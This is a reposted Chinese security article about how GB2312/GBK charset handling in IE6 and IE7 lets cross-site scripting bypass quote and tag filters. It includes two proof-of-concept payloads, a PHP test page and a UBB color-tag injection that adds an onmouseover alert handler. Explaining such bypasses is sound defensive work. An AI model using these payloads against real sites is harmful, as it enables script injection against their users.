天下网吧 >> 网吧天地 >> 网吧技术 >> 网吧安全 >> 正文

小心字符集导致浏览器软件跨站脚本攻击

2008-3-6塞迪网佚名

在一般的web程序里,显示数据给浏览器的时候都会指定一个字符集,在国内平时我们用到的字符集有utf-8,GBK,gb2312等等,字符集指示了浏览器该如何对待返回的数据。其中gb2312和GBK字符集使用得非常广泛,但是经证明,IE在处理这些宽字符集的时候存在问题,导致可能程序的一些安全规则被Bypass掉,引发严重的跨站脚本安全漏洞。在IE里,如果它遇到一个字符,它是指定字符集里的第一位的时候,就会认为其后续字符和当前字符构成一个合法的字符,这样它在解析包括html标签,处理javascript,Css时都会做如此考虑,测试版本为ie6和ie7。

1 Bypass某些js的检查规则

HTML]
[HEAD]
[TITLE]80sec test[/TITLE]
[meta http-equiv="Content-Type" content="text/html; charset=gb2312" /]
[/HEAD]
[BODY]
[script]
window.onerror=function(){
alert('Vul');
return true;
}
[/script]
[script]x='[?php echo chr(0xC1);?]';y='[User_IN_PUT]‘;[/script]
[/BODY]
[/HTML]

这里即使是过滤了〈>’\等字符一样可以利用非法字符集序列来实现\的作用,因为它会把原来存在的’给结合掉,然后前面的’找不到闭合,后面[User_IN_PUT]就可以用来执行js代码了。

2 Bypass某些属性的检查规则

为了避免直接使用html导致出现漏洞,一些论坛和程序使用了UBB标签,但是在gbk等多字节编码下,一样容易出现问题,以最容易出现问题的一个UBB标签为例子:

color=xyz[?php echo chr(0xC1);?]][/color][color=abc onmouseover=alert
(/xss/) s=[?php echo chr(0xC1);?]]exploited[/color]

0xC1是一个gb2312的第一个字节,上面结果将会转化为:

font color="xyz?][/font][font color="abc onmouseover=alert(/xss/) s=?]
exploited[/font]
其中的
alert(/xss/)

欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛https://bbs.txwb.com

关注天下网吧微信,了解网吧网咖经营管理,安装维护:


本文来源:塞迪网 作者:佚名

声明
本文来源地址:0
声明:本站所发表的文章、评论及图片仅代表作者本人观点,与本站立场无关。若文章侵犯了您的相关权益,请及时与我们联系,我们会及时处理,感谢您对本站的支持!联系Email:support@txwb.com.,本站所有有注明来源为天下网吧或天下网吧论坛的原创作品,各位转载时请注明来源链接!
天下网吧·网吧天下
  • 本周热门
  • 本月热门
  • 阅读排行